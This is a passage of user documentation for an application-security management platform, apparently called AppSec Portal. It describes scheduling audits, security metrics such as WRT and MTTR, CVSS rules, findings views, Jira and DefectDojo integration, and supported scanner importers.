1. Under **Job sequence** choose from drop-down list the pipeline with the desired scanner sequence 2. **Select** scanning **mode**: Product or Asset if you want to scan selected products or assets. If no product or asset is selected, all assets for all products in the portal will be scanned.
For **Product scanning** (**Product mode**): * Choose product(-s) by clickng on product in Products to select section. You can use the search bar or additional filters to find the products you need.
* By default, all product assets are selected for scanning (the list of assets is displayed below the Product Selection section). You can keep the product assets you are interested in for scanning and exclude the ones you don't need by clicking on them. {% hint style="info" %} A selection of product assets is only available when a single product is selected. If you select multiple products, all of their assets will be scanned. {% endhint %}
For **Asset scanning** (**Asset mode**): * Choose asset(-s) by clickng on asset in Assets to select section. You can use the search bar or assets type section to find the assets you need.
3. Enter the **branch name** (optional)
3. Click **Run Audit** 4. Optionally to navigate to the **Auditor Pipelines page**. Here, you can monitor the progress of the scan or choose to **Close** the window.
{% hint style="success" %} You can run an audit **from** the **product or assets page**. In this case, you will need to select the Job sequence and, if required, select specific assets and specify a branch. {% endhint %}

fom product page

# Scheduled Audit Run Setting up the Auditor's schedule and getting audit results at your desired time 1. From the Dashboard page navigate to Auditor -> Schedule
2. Click on the **Task** in the right panel.
3. In the opened window, complete the following fields: **Title**, **Crontab**, **Job Sequence**, **Affected products**.\ You can deactivate the schedule any time by toggling the **Active** slider.
3.1 In the **Title** field enter the name of your schedule, e.g.:
3.2 Click the ***Set Schedule*** button in the **Crontab** field to customize the Auditor's run time.
In the displayed calendar, set the Auditor's work: * Periodicity: Monthly, Weekly or Daily * The Date of the month or Day of the week for monthly and weekly frequency, respectively * Time Days and Times support multi-selection Click **Apply** to accept the configuration
Monthly frequency
Weekly frequency
Daily frequency
The selected time will be displayed in the field in the format \*\*\*\*\*, where

Your schedule is set up for audits every Monday and Thursday at 8:00 a.m. and 3:00 p.m.

3.3 For **Job Sequence**, choose from the drop-down list.
3.4 **Affect products**: * All your products are automatically added to the schedule. You can also select product tags and all products with the selected tags will be included in the auditor's processing.
* Or select **specific products** by clicking **Edit** and choosing particular products.
4. Click **Create**
{% hint style="info" %} The audit is run on all the assets that are set up in the selected products {% endhint %} If necessary, you can change the settings in the created task.\ You can also include all current and future products in the schedule.
If global settings are selected in your schedule, you can specify a tag name so that the auditor only scans products with that tag. {% hint style="warning" %} This setting can only be made by users with a role that has access to all product types. {% endhint %}
# Recommendations You can read the recommendations for your organisation by going to the **Recommendations** section on the left-hand side of the home page.
The recommendations are presented: * **Best Practice Recommendations** This section provides actionable best practices to enhance security and efficiency within your organization. * **Recommendations Based on Process Insights** This section offers recommendations derived from an analysis of your specific processes. By examining how your workflows are executed, the system identifies areas for improvement and suggests actionable steps to optimize these processes. * **Recommendations Based on Portal Settings** This section provides tailored recommendations based on your current portal configurations. By evaluating your portal settings, the system identifies opportunities to improve security, functionality, and user experience. * **CWE** (Common Weakness Enumerations) This section provides tailored recommendations using the top Common Weakness Enumerations (CWEs) to enhance your developer training. By focusing on these CWEs, you can guide your developers to identify and prevent critical security vulnerabilities.\ View CWE recommendations for any product status using a simple filter
# Security Metrics By using SLA and WRT, it is possible to achieve faster validation, prioritisation and remediation of vulnerabilities. * [**Severity Statistics Dashboard**](/appsec-portal/features/security-metrics/severity-statistics-dashboard) * [**WRT (Weighted Risk Trend)**](/appsec-portal/features/security-metrics/wrt-weighted-risk-trend) * [**How to work with WRT (guide for team leads)**](/appsec-portal/features/security-metrics/how-to-work-with-wrt-for-team-leads) * [**Metrics settings**](/appsec-portal/features/security-metrics/metrics-settings) * [**CVSS**](/appsec-portal/features/security-metrics/cvss) # Severity Statistics Dashboard * [**Current Weighted Risk Trend**](#current-weighted-risk-trend) * [**Mean Time of Status Change**](#mean-time-of-status-change) * [**Findings count**](#findings-count) **Severity Statistic view:**
You can **customise your dashboard** based on your needs by clicking the **Metrics button** on the right panel:
The **timeline** of the charts can be customized to show data for the last 3 days, last week, last month, or last year, providing flexibility in analyzing different time ranges.
**Select the products** for which you want to see data on the chart by selecting them from the *Products to Select* section. You can search, filter (by product type, included or excluded tag) and include or exclude selected products from the data display by moving the *Exclude Selection* slider.
### Current Weighted Risk Trend [**Weighted Risk Trend (WRT)**](/appsec-portal/features/security-metrics/wrt-weighted-risk-trend) metric empowers organizations to measure and track the state of security in a business-oriented manner. The **General WRT** is calculated by combining the WRT of each product, taking into account their respective severity weights, findings count, and business criticality assessments.
{% hint style="warning" %} Note that the **General Weighted Risk Trend** displays the [WRT](/appsec-portal/features/security-metrics/wrt-weighted-risk-trend), risk appetite and severity weight values. Be sure to [set the appropriate weights](/appsec-portal/features/security-metrics/metrics-settings) before viewing the graph. Otherwise, the graph may be distorted by incorrect weight values. {% endhint %} By regulary tracking the following global metrics, you can gain a better understanding of your security posture and make informed decisions to enhance your overall security strategy. ### Severity statistics Shows the number of verified findings grouped by severity.
### Trend history Shows the trend of verified fyndings.
You can configure the trend display only by clicking on the cogwheel ![](/files/RW9gsQph6ArRSCxQLvac) through this section.\ Trend history section will display data for the last month
### Mean Time of Status Change By monitoring the **Status change mean time** graph in relation to the [**SLA**](/appsec-portal/features/security-metrics/metrics-settings/sla) requirements, you can effectively manage and prioritize your remediation efforts, ensuring that critical vulnerabilities are promptly addressed and mitigated according to the established timelines. Customise the view of the metric view using the Findings Status Change Time Statistics section of the Metrics Settings.
* **Average Vulnerability Age** (**AVA**) calculates the average age of vulnerabilities from *creation* to *remediation*. It helps to determine how long vulnerabilities pose a potential risk.
* **Mean Time to Detection** (**MTTD**) measures the average time it takes to *verify* vulnerabilities from the moment they are *created* . A shorter MTTD indicates an effective and timely vulnerability detection process.
* **Mean Time to Rejection** (**MTR**) measures the average time it takes for a finding to be *rejected* after *creation*. It provides insights into the speed of handling findings that are determined to be false positives.
* **Mean Time to Remediation** (**MTTR**) calculates the average time it takes to *remediate* vulnerabilities from the moment they are *verified*. A shorter MTTR indicates an efficient vulnerability resolution process.
* **Mean Time to Product Task Assignment** (**MTTAp**) measures the average time it takes for a *validated* finding to be assigned to a developer (*assignee*) in the Jira product space from the time it is validated. It helps to track the speed at which results are processed after validation and the initiation of the fixing process.
**Mean Time to Security Task Assignment** (**MTTAs**) measures the average time it takes for a *validated* finding to be assigned to a developer (*assignee*) in the Jira security space from the time it is validated. It helps to track the speed at which results are processed after validation and the initiation of the fixing process.
### Findings count
Customise the view of the metric view using the Findings Count Statistics section of the Metrics Settings.
1. **Finding Discovery Rate** (**FDR**) measures the rate at which new vulnerabilities are *verified per day*, either manually or automatically (through the Auto[ Validator](/appsec-portal/features/auto-validator)). It helps you evaluate the effectiveness of your Auto Validator's rules and security team.

FDR chart

2. **False Positive Rate** (**FPR**) quantifies the rate of reported vulnerabilities that are later determined to be *false positives per day* manually or by [Auto Validator](/appsec-portal/features/auto-validator). A lower false positive rate indicates the accuracy of your vulnerability detection tools and methodologies.

FPR chart

3. **Vulnerability Remediation Rate** (**VRR**) tracks the rate at which vulnerabilities are *resolved per day*, either manually or automatically (through the [Auto Closer](/appsec-portal/general-portal-settings/scanner-settings#auto-closer)). This metric evaluates the efficiency of your vulnerability resolution process.

VRR chart

# WRT (Weighted Risk Trend) Our team decided to adopt best practices and draw inspiration from [HP's ideas](https://owasp.org/www-pdf-archive/Magic_Numbers_-_5_KPIs_for_Measuring_WebAppSec_Program_Success_v3.2.pdf), which led us to discover overlaps with the widely used *error budget* practice. We believe that utilizing the WRT metric would be a suitable solution to enhance security operations. **Weighted Risk Trend** (WRT) is one of a **Key Performance Indicators** (KPIs) and provides **business-level context** to security-generated data. **WRT metric** is a measure that expresses the state of security in numerical terms, without diving into technical details. The metric is linked to **business criticality**, which is linked to the risks associated with the vulnerabilities that exploit them. WRT can provide business value by helping teams identify and address security risks. WRT is calculated using the formula:
* each type of **multiplier** is equal to the corresponding severity weight; * **defects** is equal to the number of findings of this severity type; * **business criticality** — an assessment of the importance of the product to the company, ranging from one to ten. # How to work with WRT (for team leads) * If the metric has **increased** and **exceeded the risk appetite**:
:exclamation:Arrange a meeting with the team to discuss security tasks for the upcoming sprint to reduce the metric, starting with the most critical ones. * If the metric has **increased** but **has not exceeded the risk appetite**: :exclamation:Pay attention to the metric and start collecting a backlog of security tasks for the upcoming planning session. * If the metric has **decreased** and **fallen below the risk appetite**: :exclamation:Plan measures to maximize the reduction of the metric. Keep striving for zero, but at this stage, you have achieved success. Otherwise, if the team is highly occupied, wait until the metric approaches a critical value. * If the metric has **decreased** but **has not fallen below the risk appetite**: :exclamation:The team should repeat the process until the WRT has decreased. # Metrics settings * [**Severity weights**](#severity-weights) * [**Risk appetite**](#risk-appetite) * [**Business criticality**](#business-criticality) * [**SLA**](/appsec-portal/features/security-metrics/metrics-settings/sla) ### Severity Weights You can set the **weight** for each severity type according to your business needs by going to *Settings -> Metrics -> Severity Weights*:
### Risk appetite Set your **general** **risk appetite** and **risk appetite per product**: * The *general WRT* is calculated from the sum of the risks of all the applications. So **General** **Risk appetite value** is the general WRT value that seems acceptable to the business and should be considered as a general KPI. * **Risk appetite per product** sets a value for each product development team, this risk appetite is their target metric (up to this value they need to reduce their risk trend).
# SLA Control your SLA's (Service-level agreements) in simple way!
Once you have assigned **severity weights** and **risk appetite**, you can go to **All Findings** page or **Dashboard->Products->Findings** to view each report's *SLA* status.

SLA for triage team

SLA for product team

# CVSS Common Vulnerability Scoring System a standardised method for assessing vulnerabilities in computer systems and networks. You can use **CVSS** ([Common Vulnerability Scoring System](https://www.first.org/cvss/)) to better assess the security of your products. CVSS is a standardised system for rating the severity of vulnerabilities in information systems. It includes a number of metrics such as attack type, privilege level, impact on confidentiality, data integrity and availability. AppSec Portal has support for two versions of the standard: [3.1 ](https://www.first.org/cvss/v3-1/)and [4.0](https://www.first.org/cvss/v4-0/). By [set up the CVSS role](/appsec-portal/features/security-metrics/cvss/cvss-rule) and defining the appropriate vectors for your products, you can more accurately determine the level of risk and potential security threats. You can also manually assign an CVSS vector for your finding This information will appear in your reports and help your team take more effective action to secure and protect your products. # CVSS Rule Set up a rule to **automatically** rate your products by following the steps below. 1. Navigate to the CVSS section and click on the **Create Rule** button 2. In the window that opens, select the **products** to which you want the rules to apply, or leave the default setting to include all your products.
3. Add the CVSS vector value
3.1 Select the **version** of the standard and the **values of the metrics** in groups by clicking on the corresponding fields {% hint style="success" %} For more information on the metrics of the [3.1](https://www.first.org/cvss/v3.1/specification-document) and [4.0](https://www.first.org/cvss/v4.0/specification-document) versions of the standard, please refer to the [official documentation](https://www.first.org/cvss/) {% endhint %}
{% hint style="success" %} In version 3.1, users can **adjust** **all baseline metrics** within the Environmental metrics group to their modified counterparts. This feature allows for the customization of metric values based on a component's specific role within an organization's infrastructure. {% endhint %} 4. Select a parameter(s) and enter its value. This rule will be applied to the findings corresponding to these parameters and their values. Available parameters: * title * description * file path * branch * scanner * dependency * vulnerable url * import source 5. Click Submit
5. The rule will be created and the CVSS value will be automatically assigned to the corresponding findings when processing the scan results. You can disable the application of these rules at any time by toggling the Active slider.
# Custom Reports Get an easy-to-use report to analyse and share with others From the **Dashboard page** or from the chosen **Product page** click **Report**
Choose the necessary report settings for its output to meet your goals: 1. **Report date**: select the date you want the report to be generated for, or leave it as the default current date
2. **Report type**: select a Executive summary or a Full report detailing each finding\ In the full report, you can add Jira issue information by turning the slider
#### Report sections preview Expand a section to see what it looks like in the generated report.
Cover Page

Executive summary and Full report example

Overview

Executive summary and Full report example

General Information

Executive summary and Full report example

Assets

Executive summary and Full report example

Executive Summary

Executive summary and Full report example

Used Scanners

Executive summary and Full report example

Findings

Full Report example

3. **Scanner list**: select whether to report all or only verified findings
4. **Select products**: Select the products to be included or excluded from the report by clicking on each product, using the search or advanced search options. Alternatively, all products will be included in the report by default.
5. Click **Get Report for selected** and have a report back in a second 6. If necessary, **print** the report or **change the setting** parameters
# Active tasks Understand what's going on with Active Tasks tab on the /global-settings/active-tasks page **Portal** has a *distributed task queue* that can collect, record, schedule, and perform tasks. View the **real-time queue** of active auto-validation tasks:
:bulb:If you suspect that a task is suspended, you can always check its status here! # Asset management ## General information We support 5 types of assets:
Our platform uses them to manage scans and scan results. This is how it works: 1. You create/import asset (for example any repository) 2. Portal sends this repository in `REPOSITORY` variable to auditor 3. Auditor performs scans and calls Portal's API endpoint with REPOSITORY parameter and a report from scanner 4. Now portal knows where to put all asset-related vulnerabilities # How to import repositories from version control 1. Be sure, that you have [set up the integration with your version control system](/appsec-portal/general-portal-settings/version-control-integration) 2. Navigate to Assets->Repositories page and click the "Import" button
3. Choose your integration
4. Assign products for repositories (or just keep [your default one](/appsec-portal/features/asset-management/default-product))
5. That's it. Now you can run audits # Default product This is useful for all unsorted assets. We kindly suggest you to create a product called "Unsorted" and set it as default from it's options page
# Adding a product asset {% hint style="warning" %} To ensure the proper functioning of Auditor, include assets for products created in the Portal in version v23.10.1 and earlier. {% endhint %} If the product has already been [created](/appsec-portal/features/working-with-products), add its Asset data. To do this, select the product on the Product page
Specify the location of the product by adding information about: * [**Repository**](#repository): to analyse the product code in the repository * [**Docker image**](#docker-image): to analyse your image * [**Domain or Host**](#domain-and-host): to analyse your web product * [**Cloud Account:**](#cloud-account) to analyse the product in a cloud account
## Repository In the Repository tab, fill in the required fields: 1. **Repository SSH URL**: enter the address of your repository in a specific format, for example: :whitespots-public/appsec-portal.git
1. **Repository Link config**: repository source link used to link the portal to your repository based on a created pattern Select a [pre-created](/appsec-portal/general-portal-settings/repository-link-configs) pattern from the drop-down list or use the find a matching config function
Or create a new pattern directly from this section
3. Save the created asset by clicking on the **Create** button
## Docker Image In the **Repository tab** enter the address of the **registry** where your product is located and click **Create**
## Domain & Host In the **Domain tab** enter **domain name**, for example whitespots.io In the **Host tab** enter **host IP**, for example 83.110.124.0 Click **Create**
## Cloud Account In the **Cloud account tab** enter the **Cloud Account Name** where your product is located, its **Cloud key ID** and **Cloud key secret** and click **Create**
Apply the created assets when using the[ **Auditor**](/auditor/features/run-audit) # Asset Transfer Between Products You can move an Asset to another product through [**editing**](/appsec-portal/features/asset-management/adding-a-product-asset) the Asset {% hint style="info" %} When you change an asset's product, all of its previously discovered findings will be displayed for the selected product. {% endhint %}
# Findings view * [**All findings view**](/appsec-portal/features/findings-view/all-findings-view) * [**Grouped findings as a result of**](/appsec-portal/features/findings-view/grouped-findings-as-a-result-of) - configure auto-join rules * [**Grouping of findings into groups**](/appsec-portal/features/findings-view/grouping-of-findings-into-groups) - manual union * [**Available bulk actions**](/appsec-portal/features/findings-view/available-bulk-actions) * [**Viewing specific finding**](/appsec-portal/features/findings-view/viewing-specific-findings) * [**Usable filters and easy sorting**](/appsec-portal/features/findings-view/usable-filters-and-easy-sorting) # All findings view
Every finding can be viewed, edited and verified **on the same page** one by one:
Or simply click the checkbox to [**bulk edit**](/appsec-portal/features/findings-view/available-bulk-actions) the whole findings (You can select a group within a particular finding boundary by holding down the **Shift** key and clicking on the Start finding check box and then clicking on the End finding check box.):
# Grouped findings as a result of If one of the criteria (**Vulnerable URL**, **Dependency**, **File Path**) is selected in the "Group findings by" field within the [scanner settings](/appsec-portal/general-portal-settings/scanner-settings), the system checks this field's value during the import of results from the scanner. It then groups all findings with the chosen criterion into a single group. Grouping operates as follows: * If a finding lacks a value for the grouping element (***path***, ***URL***, or ***dependency***), it remains individual. * If there's only one finding with a specific grouping element value, a new separate finding is created. * If multiple findings share the same grouping element value, they are grouped into a new grouped finding. Its **name** follows the format: "Many vulnerabilities found in {*grouping\_element\_name*}: {*grouping\_element\_value*}".

Grouped finding name example

* The **Description** of the grouped finding includes information about each grouped finding in the format: "\[*severity*] *title*: *line*". The description of a grouped finding is limited to 3000 characters. If the description exceeds this limit, it will be truncated.

Grouped finding description example

In grouped findings display, a new field appears (above the Description field), reflecting the grouping element's name (***URL*** or ***dependency***). This field holds the corresponding element's value. If the grouping element is the ***path***, its value is shown in the "File Path" field.

Example of a finding with a grouping element Path

Example of a finding with a grouping element URL

Example of a finding with a grouping element Dependency

**Setting Severity:** For a grouped finding, the severity is set as the highest severity among the individual findings within it. If a severity value cannot be extracted from a finding, the default scanner severity value is assigned. {% hint style="warning" %} If a file reappears during a **reimport** and it had been processed before but ***lacks*** one of the previously found findings, the grouped finding will ***not be reopened***. This is because auto closer does not function within grouped findings. If a file contains ***new findings*** during a **reimport**, they can be added as individual findings or, if there are two or more findings, a new grouped finding can be created. {% endhint %} **Deduplication in the description field:** During vulnerability grouping, the system compiles vulnerabilities that match the selected criterion (Vulnerable URL, Dependency, File Path) into a list. When creating a description for a grouped vulnerability, deduplication occurs. Deduplication involves the system using a set for all descriptions within the group, removing duplicate lines. Therefore, if you see grouped vulnerabilities where only one vulnerability is visible inside, it means that the descriptions for those vulnerabilities were similar, and deduplication of lines occurred when creating the grouped vulnerability. This mechanism provides a clearer and more compact representation of vulnerability groups, simplifying analysis and enhancing the readability of reports.

This signifies the existence of multiple vulnerabilities with "Medium" severity and the description "High Entropy" at line 69

# Grouping of findings into groups You can create your own groups in the portal and consolidate your findings into the groups you have created. \ The findings are assigned a group name and you can filter all findings by this parameter.\ Multiple groups can be assigned to a single finding If the findings are assigned to a group, a special icon appears to the left of the finding name -![](/files/wnfa3vfnIXZ9RY4rxV5g) You can assign a group to a finding either **directly** or using the [**bulk action**](/appsec-portal/features/findings-view/available-bulk-actions).
# Available bulk actions You can set bulk for your findings: * severity type; * status setting; * delete findings; * add or remove your own custom tags; * add or remove groups; * add or remove CWE; * link issue - link findings to another finding in Jira

set severity

set status

{% hint style="info" %} For temporary risk accepted findings, you can set days accepted. {% endhint %}

delete findings

add/remove tag

add/remove group

add/remove CWE

link issue

# Viewing specific findings Click on the finding to expand information:
* **everything you need to know** about finding: - [x] status timeline - [x] product name, tag and group - [x] severity - [x] name of the scanner or check used - [x] Dependency - [x] asset data - [x] CVSS vector - [x] Affected by - [x] CWE - [x] description of the problem - [x] jira information * you can **set/change** custom **tags, group,** **severity, CVSS vector** or **related product** only for this specific finding; # Usable filters and easy sorting **AppSec Portal** provides **all kinds of filters** to handle large numbers of reports:
You can filter your findings not only by **date of creation**, but also by **verification date**, **assignment date** and **resolving date**:
You can **select several filters** at once for sampling accuracy:
SLA Violated - include or exclude: * [x] Any * [x] Verification SLA Violated * [x] Assign SLA Violated * [x] Resolve SLA Violated
Severity * [x] Critical * [x] High * [x] Medium * [x] Low * [x] Info
Tags * [x] Tags - select from drop-down list * [x] Match Tags: Any, At least or Strict * [x] Not Tags - select from drop-down list
Found by: include or exclude * [x] Select **scanner name** from drop-down list of scanners (multi select option)
File path * [x] Enter file path
Branch * [x] Conteins: enter branch name * [x] All * [x] Empty * [x] Not empty
Dependency * [x] Enter dependency
Vulnerable URL * [x] Enter vulnerable URL
Finding source * [x] All * [x] Portal * [x] Other
Assets * [x] Repository SSH URL: enter URL * [x] Docker Image: enter registry * [x] Domain: enter domain * [x] Host: enter host * [x] Cloud account: enter cloud account name * [x] Asset tags: select tags from dropdown list
Automation * [x] Any * [x] Auto resolved by scanner setting * [x] Auto verified by rule * [x] Auto rejected by rule * [x] Affected by CVSS rule * [x] Affected by Autovalidator rule * [x] Imported in Audit
Group * [x] Select a group name from the drop-down list to be displayed as a result of filtering (multi-select option)
CWE * [x] Select CWE from the drop-down list (multi-select option) - include or exclude * [x] All * [x] Empty * [x] Not empty
Product * [x] Product: select a product from the drop-down list to be **displayed** as a result of filtering (multi-select option) * [x] Not product: select a product from the drop-down list to **exclude** from the filter result (multi-select option) * [x] Product type: select a product type from the drop-down list to be displayed as a result of filtering (multi-select option) * [x] Product tags: select a product tags from the drop-down list to be displayed as a result of filtering (multi-select option) * [x] Product Business Criticality: select a filter range from 1 to 10
You can also **sort** the list of findings in ascending or descending order by clicking on the column header:
Click on the loupe sign to **search by specific name** (in finding name, in description or in tag):
# Jira ## How to configure: * **Step 1:** [**Portal -> Jira**](/appsec-portal/features/jira/jira-integration-configuration) * **Step 2:** [**Jira -> Portal**](/appsec-portal/features/jira/setting-up-jira-webhook) ## Summary AppSec Portal provides **bi-directional** integration with **Jira**. {% hint style="info" %} Developers spaces may have their own required *custom fields* like **Sprint** or **Component**. If there were such space in your company, you would be not able to create a task there directly. \ In such case many companies create another space *without any restrictions* in workflow and required custom fields — **security space**. {% endhint %} ✅ We support 2 Jira spaces: **security** and **product**. \ ✅ Synchronise tasks, comments and updates between the security and product spaces for more convenience! It means, that you can put any comment in **product** task and it will appear in **security** task. \ … and it works **in both directions**.\ ✅ There is an option to set *default* security space and *default* product space to save time from configuring them in product settings. \ ✅ You may set *specific* product and security space in product setting if it's necessary. ## Why Webhook? The portal supports both variants of integration (**with webhook** and **without** it) according to your needs. Webhook is required to **synchronise** **task statuses, assignees** and **tags** between spaces. Here you can see available features:
Featurewithout Webhookwith Webhook
Create Jira task✅✅
Update Jira task✅✅
Delete Jira task✅✅
Sync between AppSec portal and security/product spaces:
  • Tasks
❌✅
  • Statuses
❌✅
  • Priority (severity)
❌✅
  • Assigned team
❌✅
  • Comments
❌ Only one way to Jira✅
  • Tags
❌ Only one way to Jira✅
# Jira integration configuration This guide will walk you through the process of integration configuration Follow this guide to configure AppSec Portal integration with Jira and define synchronization parameters for the **Product Team Space** or **Security Team Space**.\ This guide will also allow you to establish **mappings** for **issue status** and i**ssue priority** using the values you have specified in Jira, selecting them from dropdown lists. * Log in to your AppSec Portal instance * Navigate to the Settings->Integrations->Jira
## Step 1. Authorization Choose your preferred authorization method: **Basic** or **OAuth** Enter the appropriate credentials for the chosen method: * For **Вasic** authorization, enter your **Jira server URL**, **e-mail** and ***Auth token:*** {% hint style="info" %} If you don't already have a Jira API token, you'll need to create one in Jira. You can do this by logging in to Jira and navigating to the '**API tokens**' page in your profile settings ([**Atlassian account settings->Create and manage API tokens->Security**](https://id.atlassian.com/manage-profile/security/api-tokens)). From there, you can create a new API token and use it to authenticate with AppSec Portal using basic authorization. {% endhint %}
* For **OAuth**, enter your Jira server URL, access token secret, access token secret, consumer key, and certificate file. To use Jira OAuth, you need to create an *application link* between Jira and AppSec Portal. You can find detailed instructions on how to create an application link [here](https://developer.atlassian.com/server/jira/platform/oauth/).
## Step 2. Issue Status Mapping Configure the mapping between finding statuses and Jira issue statuses. \ Select from dropdown list one or more issue statuses to be automatically set in Jira when findings statuses change.
## Step 3. Default Team Spaces Set default security space and default product space to save time from configuring them in product settings. This **configuration is global** and will be automatically assigned to all newly created products. You may set ***specific*** product and security space in [product setting](/appsec-portal/features/working-with-products) if it's necessary. * Choose **Product Team Space** or **Security Team Space** for status and priority mapping and toggle the switch accordingly * **Team space** ("Product team space" or "Security team space"): Enter space name for product and/or security team * **Issue type for** the corresponding space: Select from dropdown list * **Issue status for** **resolved** findings: Select from dropdown list * **Issue status for rejected** findings: Select from dropdown list * **components**: Select from dropdown list * **push due date**: Select from dropdown list
## Step 4. Webhook integration **Enable webhook integration**: Activate real-time communication and updates between AppSec portal and Jira by toggling the switch\ **Webhook Url**: Use this the Webhook URL for establishing a connection between the systems
{% hint style="warning" %} Please note that for a successful integration with Jira, you must ensure that the web address specified in the 'Webhook Url' field ends with a slash ('**/**'). Otherwise, the integration may not work correctly. {% endhint %} ## Step 5. Issue Priority Mapping Optionally, establish a mapping between finding severity and Jira issue priority.
{% hint style="warning" %} Ensure all projects **in your Jira** instance have the "Priority" field before configuring. In case of any modifications to the priority descriptions in Jira **after** configuring the **mapping**, the AppSec Portal will **not update** them. {% endhint %} * Activate **Enable priority mapping** by toggling the switch * Configure the mapping between **Finding severity** and **Jira issue priority** from the dropdown lists
## Step 6. Close Security Issue if corresponding Product Issue is done Choose this option to automatically transition Security Team Issues to a selected resolution status when the corresponding Product Team Issue is marked as resolved in Jira.
## Step 7. Delete issues for rejected findings Activate this option to delete issues associated with rejected findings in Jira.
{% hint style="warning" %} If you choose to dismiss a finding in Jira ("False Positive"), the portal may send a request to delete the corresponding task in Jira, given the deletion option is enabled. Please exercise caution and be aware that dismissing findings can lead to task removal in the connected Jira system {% endhint %} ***Congratulations***! You can now create and update tasks in AppSec Portal, and they will be automatically reflected in your Jira instance. :tada: # Setting up Jira webhook This guide will walk you through the process of creating a webhook to synchronize Jira spaces with AppSec Portal. ### Step 1: Create a new webhook in Jira 1. Log in to your Jira instance. 2. Navigate to the space you want to integrate with AppSec Portal. 3. Click on the "**Settings**" icon on the right side of the header. 4. Select "**System**" from the dropdown menu. 5. Select the "**WebHooks**" from the menu on the left side of the screen. 6. Click on the "**Create a WebHook**" button. **For cloud Jira instance: https\://\.atlassian.net/plugins/servlet/webhooks**

"Create a WebHook" page

### Step 2: Configure the webhook in Jira 1. Enter a name for the webhook in the "**Name**" field. 2. Enter the [webhook URL](#understanding-the-webhook-url) provided by AppSec Portal in the "**URL**" field. The webhook URL provided is an endpoint within the AppSec Portal's API that Jira can use to send events or data. {% hint style="info" %} In the example below, the **URL** has several components separated by forward slashes: * `https:///api/v1/jira-helper/jira-event`: This is the route for the webhook that receives the Jira event. * `e2b7e8be-1c77-4969-9105-58e91bd311cc`: This is a *unique identifier* (token) that is associated with the specific webhook event. This identifier is used to ensure that the event is coming from a trusted source and to match the incoming event with the corresponding webhook configuration. {% endhint %}
3. Select the "**Issue related events**" that will trigger the webhook: * check the "*updated*" and "*deleted*" boxes in the "**Issue**" and "**Comment**" columns. 4. Select the scope: **all issues.** 5. Leave the "Exclude body" option unchecked. 6. Save your changes.
Example configuration
Successfully created webhook
### Step 3: Test the webhook Now you can test the webhook by **adding a label** or **changing the status** of a task in Jira and see if the corresponding updates are reflected in the AppSec Portal.
# Move from DefectDojo AppSec Portal supports integration with DefectDojo, but **not all of it's functionality is bi-directional**. See the table below for more information:
FeatureImprortable from DefectDojoExportable to DefectDojo
New product✅❌
New finding✅❌
Finding's tags✅ (only with first import)✅
Finding's found_by✅❌
Finding's status✅✅
Finding's severity✅✅
Finding's file_path✅❌
Finding's Title & Description✅❌
Removal of finding❌ ✅
You can set up the desired **frequency** of synchronisation with DefectDojo in minutes at **Settings→Integrations→DefectDojo**:
# Scanners The AppSec Portal uses a variety of importers to integrate with popular scanners * [**Importing reports from scanners to AppSec Portal**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal) To configure the scanner, please refer to the [**scanner settings**](/appsec-portal/general-portal-settings/scanner-settings) section. Here are the details of each **importer** supported by AppSec Portal #### Code scanners: * **`Bandit`**: imports scan results from [**Bandit Scanner** and **GitLab Bandit scanner**](/appsec-portal/features/scanners/scanner-description/code-scanners/bandit), which is a tool for finding security issues in *Python* *code*. It checks Python code for common security issues such as hardcoded passwords, SQL injections, and more. * **`Checkov`**: imports scan results from [**Checkov Scanner**](/appsec-portal/features/scanners/scanner-description/code-scanners/checkov), which is a tool for finding security issues in Infrastructure As Code. It provides static analysis of Terraform, CloudFormation, and Kubernetes code to identify misconfigurations and potential security issues. * **`CodeQL`**: imports scan results from [**CodeQL Scanner**](/appsec-portal/features/scanners/scanner-description/code-scanners/codeql), which is a tool for analyzing source code to find security vulnerabilities such as SQL injection, cross-site scripting (XSS), buffer overflows, and more. * **`ESLint`**: imports scan results from [**ESLint Scanner** and **GitLab ESLint**](/appsec-portal/features/scanners/scanner-description/code-scanners/eslint), which is a tool for finding security issues in JavaScript code. It checks JavaScript code for common security issues such as cross-site scripting (XSS), SQL injection, and more. * **`Gemnasium` :** imports scan results from [**GitLab** **Gemnasium Scanner**](/appsec-portal/features/scanners/scanner-description/code-scanners/gemnasium), which is a tool that identifies vulnerabilities and security issues within project dependencies. * **`Gosec`**: imports scan results from [**Gosec Scanner**](/appsec-portal/features/scanners/scanner-description/code-scanners/gosec), which is a tool for finding security issues in Go code. It helps identify potential security vulnerabilities in Go code. * **`Hadolint`**: imports scan results from [**Hadolint Dockerfile Check Scanner**](/appsec-portal/features/scanners/scanner-description/code-scanners/hadolint), a Dockerfile linter that helps ensure Dockerfile syntax correctness, adherence to best practices, and identification of potential issues related to Docker image creation. It focuses on code quality and conformity to Dockerfile standards, aiding in the creation of secure and well-structured Docker images. * **`KICS`**: imports scan results from [**GitLab** **KICS Scanner**](/appsec-portal/features/scanners/scanner-description/code-scanners/kics) (Keeping Infrastructure as Code Secure), wich is designed to detect security vulnerabilities and policy violations in infrastructure-as-code (IaC) files. * **`PHPCodeSniffer`**: mports scan results from [**PHPCodeSniffer**](/appsec-portal/features/scanners/scanner-description/code-scanners/phpcodesniffer), wich is tokenizes PHP files and detects violations of a defined set of coding standards. * **`Retire.js`**: imports scan results from [**Retire.js Scanner**](/appsec-portal/features/scanners/scanner-description/code-scanners/retire.js), a tool designed to analyze JavaScript code for deprecated and vulnerable libraries and dependencies. It focuses on identifying outdated or known vulnerable components within JavaScript code, contributing to the enhancement of web application security. * **`Semgrep`**: imports scan results from [**Semgrep scanner** and **GitLab Semgrep scanner**](/appsec-portal/features/scanners/scanner-description/code-scanners/semgrep), which is a tool for finding security issues in code. It provides static analysis of code in various languages and helps identify potential security vulnerabilities. * **`SpotBugs`**: imports scan results from [**SpotBugs scanner**](/appsec-portal/features/scanners/scanner-description/code-scanners/spotbugs) which analyses Java source code for potential security, efficiency, and programming style issues. * **`Terrascan`**: imports scan results from [**Terrascan Scanner**](/appsec-portal/features/scanners/scanner-description/code-scanners/terrascan), which is a tool for finding security issues in Terraform code. It helps identify potential security vulnerabilities in infrastructure as code. #### Secret Scanners: * **`Gitleaks`**: imports scan results from [**Gitleaks Scanner** and **GitLab** **Gitleaks Scanner**](/appsec-portal/features/scanners/scanner-description/secret-scanners/gitleaks), which is a tool for finding secrets and sensitive information in *Git repositories*. It helps identify hard-coded secrets in Git repositories that are accidentally committed by developers. * **`Trufflehog3`**: imports scan results from [**Trufflehog3 Scanner**](/appsec-portal/features/scanners/scanner-description/secret-scanners/trufflehog3), which is a tool for finding secrets and sensitive information in *code repositories*. Trufflehog3Importer converts the scan results into a format that can be easily understood by AppSec 